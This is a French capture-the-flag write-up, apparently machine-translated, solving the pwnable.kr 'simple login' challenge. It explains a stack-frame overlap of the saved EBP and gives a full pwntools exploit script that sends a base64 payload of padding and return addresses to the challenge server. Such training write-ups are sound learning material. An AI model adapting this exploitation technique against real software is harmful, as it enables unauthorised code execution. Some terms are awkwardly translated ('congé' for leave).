Résolution de problèmes avec pwnable.kr 24 - connexion simple. Superposition du cadre de pile

image

Dans cet article, nous allons résoudre la 24e tâche à partir du site pwnable.kr et découvrir comment empiler le cadre de pile.

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Solution de travail de connexion simple


Nous continuons la deuxième section. Je dirai tout de suite que c'est plus difficile que le premier et qu'on ne nous fournit pas le code source des applications. N'oubliez pas la discussion ici . Commençons.

Cliquez sur l'icône avec la connexion simple de signature. On nous donne l'adresse et le port de connexion et le programme lui-même.

image

Téléchargez tout ce qu'ils nous donnent, vérifiez le binaire.

image

Il s'agit d'un elfe 32 bits avec une pile canari installée et non exécutable. Nous décompilons dans IDA Pro.

image

Dans le programme, les données utilisateur sont décodées à partir de base64. La variable v7 stocke la longueur de la chaîne décodée. En outre, v7 est comparé à 12. Si la vérification est réussie, la chaîne décodée est copiée dans la variable d'entrée, puis la fonction d'authentification est appelée, dans laquelle la longueur de la chaîne décodée est transmise en tant que paramètre. Et si nous réussissons l'authentification, la fonction correcte est appelée. Regardons la fonction d'authentification.

image

Cela ressemble à un débordement de tampon. Jetez un oeil à la pile.

image

Non. Nous ne pouvons pas déborder le tampon, car cela nécessite plus de 12 octets. Les adresses où la valeur des variables est stockée sont intéressantes, en particulier la variable v4 vers laquelle la copie est effectuée.

image

Il s'agit de l'adresse [ESP + 32]. Jetez un oeil au code pour cela sous une forme démontée.

image

Les instructions suivantes sont nécessaires pour enregistrer le cadre de pile.
push ebp
mov ebp, esp

Pour restaurer la pile, utilisez l'instruction congé. Dont nous effectuons les opérations inverses.

image

La plus intéressante est la troisième instruction sub esp, 28h .

Ainsi, un chevauchement se produit: esp diminue de 40, et la variable v2 est située à esp + 32 et prend 12 octets. Autrement dit, après avoir déplacé la valeur de esp vers ebp, l'adresse des quatre derniers octets de la variable v2 sera enregistrée dans ebp. Lorsque les instructions Leave et Retn sont exécutées, les quatre derniers octets de la variable v2 seront désormais dans la trame haute de la pile.

Vérifions et donnons la ligne d'entrée QUFBQUFBQUFCQkJC.

image

Si notre hypothèse est correcte, après avoir exécuté retn dans la fonction d'authentification, le haut de la pile sera l'adresse «BBBB».

image

Maintenant, exécutez congé.

image

Il y a «BBBB» dans EBP et maintenant après avoir exécuté le congé dans la fonction principale main, le programme va planter. Ainsi, nous pouvons devant l'adresse du haut de la pile à laquelle se trouvera l'adresse à laquelle nous voulons aller. Ensuite, la charge sera comme ceci: 4 tous les octets + adresse où nous allons + adresse au début de la charge.

Tout d'abord, écrivez un modèle.
 from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() r.interactive() 

Maintenant, nous trouvons l'adresse où nous voulons aller - c'est 0x8049284 à l'intérieur de la fonction correcte.

image

Cette adresse sera la deuxième partie de notre chargement. La troisième partie de la charge sera l'adresse de la variable d'entrée (adresse de charge).

image

Nous composons la charge dans le code. N'oubliez pas de coder en base64:
 payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload) 

Code complet.
 from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload) r.send(payload+"\n") r.interactive() 

image

Et obtenez vos points. Honnêtement, cette tâche n'a pas été très facile pour moi.

image

Et nous continuons: dans le prochain article - la médecine légale. Vous pouvez nous rejoindre sur Telegram .

Source: https://habr.com/ru/post/fr468761/


All Articles